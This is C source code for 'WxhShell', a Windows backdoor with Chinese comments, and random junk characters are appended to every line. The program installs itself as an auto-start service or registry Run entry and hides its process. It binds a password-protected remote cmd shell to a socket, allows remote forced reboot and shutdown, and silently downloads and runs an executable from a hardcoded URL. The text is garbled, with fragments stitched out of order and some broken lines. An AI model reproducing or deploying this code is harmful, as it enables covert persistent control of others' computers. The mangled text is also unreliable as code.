    if(Boot(SHUTDOWN)) XVcY?_AS#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (LzVWz m  
    else { 4{JoeIRyz  
    closesocket(wsh); :/ ,h)h)|  
    ExitThread(0); 9fr LYJz"  
    } !t/I j~o  
    break; f QSP]?  
    } v< qN -zG  
  // 获取shell - Te+{  
  case 's': { SoX\S|}%6[  
    CmdShell(wsh); lt\. )Y>4  
    closesocket(wsh); F]kn4zr  
    ExitThread(0); z97RNT|Y7U  
    break; x"q!=&>f  
  } Z _W.iBF  
  // 退出 Nv!If$d  
  case 'x': { t]LOBy-Kv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !5lb+%7  
    CloseIt(wsh); "J|{'k`  
    break; (Tt\6-  
    } CX/ _\0 G4  
  // 离开 d>[=]  
  case 'q': { H/"$#8-/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o ?z A'5q  
    closesocket(wsh); ,TL8`  
    WSACleanup(); ,.;q[s8  
    exit(1); W]b>k lp;  
    break; yf3c- p  
        } /U\k<\1~m  
  } [\eh$r\   
  } 1vw [{.wC  
5=Cea  
  // 提示信息 LY Y3*d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QP HibPP:  
} <y4hK3wP  
  } o~<ith$A*  
G`1!SEae  
  return; 66ULR&D8  
} PM ]|S`  
G)~/$EF,_  
// shell模块句柄 a`/\0~  
int CmdShell(SOCKET sock) Eod'Esye5  
{ JmlMfMpXMs  
STARTUPINFO si; {v CB$@/o  
ZeroMemory(&si,sizeof(si)); YU >NGC]}d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2>`m1q:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2z*EamF  
PROCESS_INFORMATION ProcessInfo; G,o5JL"t  
char cmdline[]="cmd"; >~_oSC)E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P _e9>t@  
  return 0; E~]37!,\\9  
} oUSv)G.zb  
'P'f`;'_DC  
// 自身启动模式 N{kp^Byim0  
int StartFromService(void) +"P!es\q  
{ /i:c!l9  
typedef struct faTp|T`nY  
{ U+[ p>iP  
  DWORD ExitStatus; N$&)gI:  
  DWORD PebBaseAddress; Cpg>5N~;L  
  DWORD AffinityMask; <rQ+ErDA  
  DWORD BasePriority; qnO>F^itF  
  ULONG UniqueProcessId; P:8 qm DXo  
  ULONG InheritedFromUniqueProcessId; pDYcsC{p  
}   PROCESS_BASIC_INFORMATION; _|^cudRv  
a+!r5689  
PROCNTQSIP NtQueryInformationProcess; LZ'Y3 *  
G!<-9HA5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8bTE# 2+-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vyS8yJUY  
f3;.+hJ])  
  HANDLE             hProcess; 1\u{1 V  
  PROCESS_BASIC_INFORMATION pbi; g.,_E4L  
=PM6:3aKh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %+8" -u  
  if(NULL == hInst ) return 0; wk9qyv<  
UI]UxEJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?GT,Y5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b f j]Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V'M#."Of/  
L9} %tEP  
  if (!NtQueryInformationProcess) return 0; IIh \ d.o  
Fo.p}j+>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'nQQqx%v  
  if(!hProcess) return 0; lnQfpa8j  
9]4W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _Dq, \}  
Oaj$Z- f  
  CloseHandle(hProcess); ^l8&y;-T  
bc3 T8(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Bw Cwy  
if(hProcess==NULL) return 0; L]e@. /C$  
\2#j1/d4  
HMODULE hMod; \c(Z?`p]R1  
char procName[255]; "K)ue@?  
unsigned long cbNeeded; JIOeDuw+  
E{8-VmY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Sv>bU4LHf  
bdYx81  
  CloseHandle(hProcess); _C4N6YdU  
|!6<L_31%  
if(strstr(procName,"services")) return 1; // 以服务启动 .~AQxsGH  
{b,#l]v  
  return 0; // 注册表启动 P9f,zM-  
} Ox%.We 5  
]_js-+w6  
// 主模块 >HRL@~~Z  
int StartWxhshell(LPSTR lpCmdLine) 0 zn }l6OS  
{ qe_qag9  
  SOCKET wsl; h8 !(WO!  
BOOL val=TRUE; ^3O`8o  
  int port=0; {8e4TD9E0  
  struct sockaddr_in door; :pw6#yi8`  
H[J5A2b  
  if(wscfg.ws_autoins) Install(); WB|N)3-1  
oR@1/lV  
port=atoi(lpCmdLine); u"5 hlccH  
N_o|2  
if(port<=0) port=wscfg.ws_port; u5I#5  
Vg^,Ky,  
  WSADATA data; ,sZ)@?e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Eoh{+>:6  
q Oyo+hu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "?Yf3G:\0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Xf6\{  
  door.sin_family = AF_INET; S]g`Ds<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9Ac4'L  
  door.sin_port = htons(port); bFB.hkTP  
g$T% C?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ojbms>a  
closesocket(wsl); i~ITRi@  
return 1; 7*C>4Gs  
} W%P$$x5&  
t2hI^J0y  
  if(listen(wsl,2) == INVALID_SOCKET) { <d~IdK'\x  
closesocket(wsl); N?l  
return 1; b~Un=-@5a  
} qk_YFR?R  
  Wxhshell(wsl); ['_W <  
  WSACleanup();  CT[CM+  
JWV n@)s  
return 0; |0$7{nQ  
8Y P7'Fz  
} c +N\uG4  
!n`Y^  
// 以NT服务方式启动 >o4Ih^VB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n_eN|m?@  
{ /c!@ H(^)  
DWORD   status = 0; gxCl=\  
  DWORD   specificError = 0xfffffff; W.7XShwd*2  
0NMmN_Lr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]EfM;'j[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9/dI 6P7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |*y'H*  
  serviceStatus.dwWin32ExitCode     = 0; O`TM}  
  serviceStatus.dwServiceSpecificExitCode = 0; UI_u:a9Q/  
  serviceStatus.dwCheckPoint       = 0; `2a7y]?  
  serviceStatus.dwWaitHint       = 0; f"aqg/l  
Jl@YBzDfF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .9$ 7 +  
  if (hServiceStatusHandle==0) return; "W@>lf?"  
rtT*2k*  
status = GetLastError(); ueLdjASJ  
  if (status!=NO_ERROR) >vZ^D  
{ KA{ JSi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u iR[V~  
    serviceStatus.dwCheckPoint       = 0; zw}Wm4OH  
    serviceStatus.dwWaitHint       = 0; a]t| /Mq  
    serviceStatus.dwWin32ExitCode     = status; ^ Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; #sb@)Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6I-Qq?L[H  
    return; {33B%5n"  
  } d 6zfP1lQ  
G%XjDxo$I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !BEl6h  
  serviceStatus.dwCheckPoint       = 0; ;6tGRh$b  
  serviceStatus.dwWaitHint       = 0; zdgSqv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g;\_MbfP  
} \!df)qdu  
Ak+MR EG  
// 处理NT服务事件,比如:启动、停止 nRh.;G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q4]Qvf>  
{ `Oe"s_O#  
switch(fdwControl) *ulkqpO  
{ ;{Tf:j'g  
case SERVICE_CONTROL_STOP: mu@IcIb>  
  serviceStatus.dwWin32ExitCode = 0; L%31>)8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6rh^?B  
  serviceStatus.dwCheckPoint   = 0; H57wzG{xG  
  serviceStatus.dwWaitHint     = 0; `8b4P>';O'  
  { n|) JhXQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p#>d1R1&  
  } MxLi'R=  
  return; N6w!V]b  
case SERVICE_CONTROL_PAUSE: !d{Ijs'T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _&K>fy3t&  
  break; B; r` 1 G  
case SERVICE_CONTROL_CONTINUE: +J  <<me4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bxvpj  
  break; >36>{b<'$*  
case SERVICE_CONTROL_INTERROGATE: sg8j}^VI  
  break; %^}|HG*i??  
}; ^-dhz88wV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /5j]laYK)  
} a4x(lx&  
MBO>.M$B  
// 标准应用程序主函数 VZCCMh-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K yDPD'  
{ \KkAU6  
\><v1x>;  
// 获取操作系统版本 #jT=;G7f2  
OsIsNt=GetOsVer(); R[f@g;h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9 $ Ud\   
D |9ItxYu  
  // 从命令行安装 u8b^DB#+W  
  if(strpbrk(lpCmdLine,"iI")) Install(); Bw4 _hlm  
'WcP+4c  
  // 下载执行文件 {7d\du&G  
if(wscfg.ws_downexe) { V[avV*;3i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^u$?& #  
  WinExec(wscfg.ws_filenam,SW_HIDE); k_](u91  
} xv~E wT)  
0` UrB:  
if(!OsIsNt) { DW0UcLO  
// 如果时win9x,隐藏进程并且设置为注册表启动 DRmN+2I  
HideProc(); }D*5PV%d  
StartWxhshell(lpCmdLine); ,xuA%CF-S  
} epQdj=h  
else '<%;Nv  
  if(StartFromService()) ghDOz 3  
  // 以服务方式启动 ER)to<k  
  StartServiceCtrlDispatcher(DispatchTable); >;Vy{bL8  
else y({EF~w  
  // 普通方式启动 |>jlmaV  
  StartWxhshell(lpCmdLine); k8O%gO  
C252E  
return 0; Ct0YwIR*  
} qL/XGIxL?  
a:}&v^v  
OuV f<@a  
5<mGG;F  
=========================================== z-`-0@/A$  
GCv*a[8?n  
EbMG9  
Erq% Ck(  
*;Gnod<  
d <Rv~F@  
" GOj<>h}r  
?@5#p*u0  
#include <stdio.h> \@hq7:Q  
#include <string.h> X'.*I])  
#include <windows.h> *k<{nj@y  
#include <winsock2.h> 2; ~jKR[~  
#include <winsvc.h> (sL!nRw  
#include <urlmon.h> #*x8)6Ct  
jZP~!q  
#pragma comment (lib, "Ws2_32.lib") [ @`Ki  
#pragma comment (lib, "urlmon.lib") l t{yo\  
e2vL UlL8  
#define MAX_USER   100 // 最大客户端连接数 @V71%D8{  
#define BUF_SOCK   200 // sock buffer #/2W RN1L  
#define KEY_BUFF   255 // 输入 buffer XS`=8FQ  
$p~X"f?0  
#define REBOOT     0   // 重启 {p)=#Jd`.P  
#define SHUTDOWN   1   // 关机 2y@y<38  
H3Sfz'  
#define DEF_PORT   5000 // 监听端口 P#N@W_""YD  
P=PVOt@ b  
#define REG_LEN     16   // 注册表键长度 *|^}=ioj*  
#define SVC_LEN     80   // NT服务名长度 82A[[^`  
RZ GD5`n  
// 从dll定义API XpoEZ|0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;.#l[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^UiSezc I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oV=~ Q#v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C ehz]C  
8D1+["&  
// wxhshell配置信息 iK=SK3)vR  
struct WSCFG { ;vLg4k  
  int ws_port;         // 监听端口 4j VFzO%.  
  char ws_passstr[REG_LEN]; // 口令 X2S:"0?7  
  int ws_autoins;       // 安装标记, 1=yes 0=no bbAJ5EqL  
  char ws_regname[REG_LEN]; // 注册表键名 j  hr pS  
  char ws_svcname[REG_LEN]; // 服务名 m8C scC Z}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e'L$g-;>4b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +RN|ZG&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ddG5g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no VMgO1-F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5.X`[/]<r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z2Kvp"-}  
0VwmV_6'<W  
}; ;1Zz-@  
 v+qHH8  
// default Wxhshell configuration +?R !  
struct WSCFG wscfg={DEF_PORT, bZ_vb? n  
    "xuhuanlingzhe", 5dem~YY5  
    1, d;WXlE;  
    "Wxhshell", z57|9$h}w  
    "Wxhshell", iIO_d4Z  
            "WxhShell Service", &HIG776  
    "Wrsky Windows CmdShell Service", GK\`8xWE  
    "Please Input Your Password: ", J6W"t  
  1, +VdC g_  
  "http://www.wrsky.com/wxhshell.exe", ^7$V>|  
  "Wxhshell.exe" l>iE1`iL<  
    }; #oQDt'  
U5pg<xI  
// 消息定义模块 kNDN<L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -eSZpzp  
char *msg_ws_prompt="\n\r? for help\n\r#>";  0gOB $W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &<\i37y  
char *msg_ws_ext="\n\rExit."; V1!;Hvm]+  
char *msg_ws_end="\n\rQuit."; \o2cztl=  
char *msg_ws_boot="\n\rReboot..."; ,!'L~{  
char *msg_ws_poff="\n\rShutdown..."; A@qwD300Vo  
char *msg_ws_down="\n\rSave to "; <Z58"dg.5  
04wO9L;  
char *msg_ws_err="\n\rErr!"; BkcA_a:W  
char *msg_ws_ok="\n\rOK!"; |*[#Iii'  
ds|L'7  
char ExeFile[MAX_PATH]; <|R`N)AV;  
int nUser = 0; ~n )<L7  
HANDLE handles[MAX_USER]; t,>j{SK~  
int OsIsNt; 'awZ-$#  
|JRaskd  
SERVICE_STATUS       serviceStatus; <$ oI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ( V^C7ix:  
b am*&E%0K  
// 函数声明 Z9vJF.clO  
int Install(void); HMrl!;:  
int Uninstall(void); f{j (H?5  
int DownloadFile(char *sURL, SOCKET wsh); :jU u_s}  
int Boot(int flag); _q /UDf1  
void HideProc(void); 6nP-IKL  
int GetOsVer(void); NNM+Z:  
int Wxhshell(SOCKET wsl); *^_ywqp  
void TalkWithClient(void *cs); DgiMMmpE  
int CmdShell(SOCKET sock); >+8Kl`2sw;  
int StartFromService(void); .X)TRD#MW  
int StartWxhshell(LPSTR lpCmdLine); 9]^ CDL  
JC}oc M j0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y9_OkcW)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ji :E  
wS%aN@ay3  
// 数据结构和表定义 H% "R _[+  
SERVICE_TABLE_ENTRY DispatchTable[] = m#kJ((~  
{ jUg.Y98  
{wscfg.ws_svcname, NTServiceMain},  Z?_ t3  
{NULL, NULL} Y,;$RV@g  
}; #k*P/I~  
xY,W[?3CY  
// 自我安装 ZB@Bj>,b p  
int Install(void) >ho$mvT  
{ yYri.n  
  char svExeFile[MAX_PATH]; \~bx%VWW4  
  HKEY key; X!/o7<  
  strcpy(svExeFile,ExeFile); Z;4pI@ u  
k5ZkD+0Jo  
// 如果是win9x系统,修改注册表设为自启动 `SH#t3 5,  
if(!OsIsNt) { oM4Q_An  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >L{s[pLJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _}RzJKl@  
  RegCloseKey(key); =i:6&Y~VGq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HJ+I;OJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vE=)qn=a  
  RegCloseKey(key); {YzRf S  
  return 0; U#{^29ik=o  
    } Jx(`.*$  
  } 9;B6<`e/U  
} T~" T%r  
else { e6JT|>9A7  
n 0*a.  
// 如果是NT以上系统,安装为系统服务 f+o%N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %e,X7W`'2  
if (schSCManager!=0) VM[U&g<8n  
{ Dd:;8Xo  
  SC_HANDLE schService = CreateService SC 6cFyp2  
  ( FsdxLMwk1  
  schSCManager, *'&mcEpg  
  wscfg.ws_svcname, Rz_fNlA  
  wscfg.ws_svcdisp, 0>KW94  
  SERVICE_ALL_ACCESS, asQXl#4r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @ a?^2X^  
  SERVICE_AUTO_START, ; M%n=+[O  
  SERVICE_ERROR_NORMAL, tF@hH}{;  
  svExeFile, 6x$1En  
  NULL, !f^'-  
  NULL, AO "pm  
  NULL, gPrIu+|F  
  NULL, f3u^:6U~  
  NULL M*x1{g C/  
  ); Ous_269cM  
  if (schService!=0) UNB'Xjp}@  
  { !0+!%Nr>J  
  CloseServiceHandle(schService); ;#F7Fp*U  
  CloseServiceHandle(schSCManager); lm 1Mz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zld[uhc>  
  strcat(svExeFile,wscfg.ws_svcname); TDtS^(2A7K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G6?+Qz r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 28N v'  
  RegCloseKey(key); 3TS(il9A  
  return 0; "\]NOA*  
    } y>DvD)  
  } 'Lb- +X,  
  CloseServiceHandle(schSCManager); ?z]h Ysy  
} zYW+Goz/C  
} r6#It$NU  
6AW{qU6  
return 1; Eoo[)V#x{  
} v|r=}`k=  
viP.G/(\]  
// 自我卸载 t"]+}]O  
int Uninstall(void) t|ih{0  
{ _3lci  
  HKEY key; ,%zU5hh  
nn0`A3  
if(!OsIsNt) { ygA~d9"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @D3Y}nR:  
  RegDeleteValue(key,wscfg.ws_regname); `- \J/I  
  RegCloseKey(key); 37S  bF,G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'p{N5eM  
  RegDeleteValue(key,wscfg.ws_regname); {xGM_vH1  
  RegCloseKey(key); *b@YoQe3!  
  return 0; {"([p L  
  } IJ`%Zh{f  
} G; *jL4  
} <+tSTc4>r  
else { l; ._ ?H  
T|{1,wP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A=z+@b6  
if (schSCManager!=0) 2qF ?%  
{ R2 I 7d'|v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <Xsy{7  
  if (schService!=0) {H5a.+-(bE  
  { ~_ 8X%ut y  
  if(DeleteService(schService)!=0) { ])sIQ{P  
  CloseServiceHandle(schService); l|z0aF;z  
  CloseServiceHandle(schSCManager); 1zDat@<H  
  return 0; zP8a=Iv  
  } nSM8o<)H  
  CloseServiceHandle(schService); vl "l  
  } cen[|yCtOH  
  CloseServiceHandle(schSCManager); XmK2Xi;=b  
} bAsoIra  
} 4zRz U  
i`Tp +e@a>  
return 1; w'/ Mn+  
} K>tubLYh  
"\x<Zg;  
// 从指定url下载文件 #'@pL0dj  
int DownloadFile(char *sURL, SOCKET wsh) 8{t^< j$n  
{ zree}VqD;5  
  HRESULT hr; fnwhkL#8  
char seps[]= "/"; ~q.a<B`,t  
char *token; 9uNkd2 #  
char *file; gyt[ZN_2  
char myURL[MAX_PATH]; 0Q]ZS  
char myFILE[MAX_PATH]; kT jx.  
<yw6Om:n<  
strcpy(myURL,sURL); j`'9;7h M6  
  token=strtok(myURL,seps); w6RB|^  
  while(token!=NULL) /.{q2]  
  { Z/r=4  
    file=token; .]0u#fz0y  
  token=strtok(NULL,seps); AO R{Xm  
  } VDyQv^=#  
k`5jy~;  
GetCurrentDirectory(MAX_PATH,myFILE); "x+o(jOy  
strcat(myFILE, "\\"); 1^x "P#u  
strcat(myFILE, file); #s\HiO$BT  
  send(wsh,myFILE,strlen(myFILE),0); C3XB'CL6  
send(wsh,"...",3,0); (SEE(G35  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bK\Mn95]  
  if(hr==S_OK) |[RoR  
return 0; YPV@/n[N  
else /Vg=+FEO  
return 1; eNwF<0}  
n7J6YtUwP  
} eVXlQO  
g?e$B}%  
// 系统电源模块 &$1ifG   
int Boot(int flag) &^v5 x"  
{ pn:) Rq0  
  HANDLE hToken; U/W<Sa\`  
  TOKEN_PRIVILEGES tkp; Hd/|f;  
YT*_ vmJV  
  if(OsIsNt) { [eb?Fd~WB]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s#8mD !T|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \-]zXKl2k  
    tkp.PrivilegeCount = 1; ?=bqya"Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; va>u1S<lO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4P406,T]r  
if(flag==REBOOT) { 6ka, FjJ\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4dEfXrMf  
  return 0; u\jQe@j '  
} iOFp9i=j  
else { AqdQiZ^9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K-a~Kr  
  return 0; <Z nVWER  
} L[|($vQ"  
  } /#lqv)s'  
  else { StuQ}  
if(flag==REBOOT) { y.xyr"-Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QgR3kc^7/  
  return 0; hLv~N}  
} lBpy0lo#  
else { TbUouoc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Qb.Ve7c  
  return 0;  .J0Tn,m  
} XTibx;yd<  
} uPmK:9]3R  
t-gLh(-.  
return 1; yGxAur=dE  
} (R9{wGV [  
l"{1v ~I  
// win9x进程隐藏模块 u/I|<NAC,  
void HideProc(void) XY_zF F  
{ nQtp4  
R2e":`0I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *N C9S,eSP  
  if ( hKernel != NULL ) ]FQO@ y  
  { ]g3RVA%\l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5 $vUdDTg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6SJryf~w  
    FreeLibrary(hKernel); @(m+B\  
  } JNJ96wnX1  
N<$dbqoT|  
return;  W0&x0  
} )F$<-0pT  
#[uDVCM  
// 获取操作系统版本 ]gw[ ~  
int GetOsVer(void) InAx;2'A:  
{ dr[sSBTY"  
  OSVERSIONINFO winfo; xA&RMu&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @MoBR.  
  GetVersionEx(&winfo); P<tHqN !q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1GaM!OC9  
  return 1; YLx4qE  
  else o#^(mGj_.  
  return 0; Bh#?:h&f  
} *\n-yx]  
h:4Uv}Z  
// 客户端句柄模块 ~ \{a<-R  
int Wxhshell(SOCKET wsl) +n)_\@aQ  
{ !jySID?q  
  SOCKET wsh; ZNKopA(=|%  
  struct sockaddr_in client; ev{;}2~V  
  DWORD myID; FJ/c(K  
-PG81F&K  
  while(nUser<MAX_USER) ^D%hKIT  
{ &tJ!cTA.-  
  int nSize=sizeof(client); ;!C~_{/t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qDV t  
  if(wsh==INVALID_SOCKET) return 1; @mJ# ~@*(  
e2dg{n$6"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f i_'Ny>#  
if(handles[nUser]==0) 38 -vt,|  
  closesocket(wsh); ROWI.|  
else UA8*8%v  
  nUser++; F YLBaN  
  } UyUz_6J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TpSv7kT]  
-r'/PbV0  
  return 0; m-v0=+~&  
} v|7=IJ  
:;g7T-_q  
// 关闭 socket P&=H<^yd  
void CloseIt(SOCKET wsh) # h/#h\  
{ %aB RL6  
closesocket(wsh); -Gyj]v5y`c  
nUser--; Cd7imj  
ExitThread(0); YjR`}rdwo  
} Sc/\g  
D^30R*gV  
// 客户端请求句柄 Qf .ASC   
void TalkWithClient(void *cs) ,O'#7Dj  
{ 0#d:<+4D  
l(<=JUO;  
  SOCKET wsh=(SOCKET)cs; 6 6%_p]U  
  char pwd[SVC_LEN]; m+a\NXWR?N  
  char cmd[KEY_BUFF]; l} =@9A@  
char chr[1]; qk *b,`;  
int i,j; l2*o@&.  
' O+)[D  
  while (nUser < MAX_USER) { DTMoZm  
F*['1eAmdY  
if(wscfg.ws_passstr) { 11g_!X -g@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~ubcD6f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DmA~Vj!a^y  
  //ZeroMemory(pwd,KEY_BUFF); N+9W2n  
      i=0; ?s-Z3{k  
  while(i<SVC_LEN) { 5{Oq* |  
wR%F>[ 6.{  
  // 设置超时 DCheG7lo{  
  fd_set FdRead; +I>V9%%vW_  
  struct timeval TimeOut; $[xS>iuD  
  FD_ZERO(&FdRead); r1A<XP|1?I  
  FD_SET(wsh,&FdRead); 49Q tfk  
  TimeOut.tv_sec=8; q(9S4F   
  TimeOut.tv_usec=0; 7KlS9x2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9{cpxJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xW. ~Jt  
_)%Sz"g^Ix  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .ED8b5t|  
  pwd=chr[0]; Q{:=z6&  
  if(chr[0]==0xd || chr[0]==0xa) { t[4V1:  
  pwd=0; R8%%EEB  
  break; kc7,F2=F  
  } 8n"L4jb(:  
  i++; xiy=D5N.=  
    } @QO^3%b8  
rT"3^,,  
  // 如果是非法用户,关闭 socket HPc~wX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0CpE,gg  
} ?P%-p  
V)Sw\tS6g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q.MbzSgXL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  &Sdf0"  
TFG0~"4Cz  
while(1) { 2Bz\Tsp  
N#p%^GH  
  ZeroMemory(cmd,KEY_BUFF); AaLbJYuKd  
_lBHZJ+  
      // 自动支持客户端 telnet标准   w'6sJ#ba(  
  j=0; *_sSM+S  
  while(j<KEY_BUFF) { 4Ifz-t/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W P9PX  
  cmd[j]=chr[0]; hYbaVE  
  if(chr[0]==0xa || chr[0]==0xd) { O<P(UT"  
  cmd[j]=0; 8/<+p? 3p>  
  break; ,*.qa0E#W  
  } F<4>g+Ag  
  j++; 5c0$oyl)M  
    } 5VSc5*[  
$/crb8-C  
  // 下载文件 e^k)756  
  if(strstr(cmd,"http://")) { |pZ:5ta#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ny}_^3  
  if(DownloadFile(cmd,wsh)) :7?n)=Tx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H5(: 1  
  else ](^FGz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =9;b|Y"aQ  
  } a$3] `  
  else { quS]26wQz  
i1 c[Gk.o  
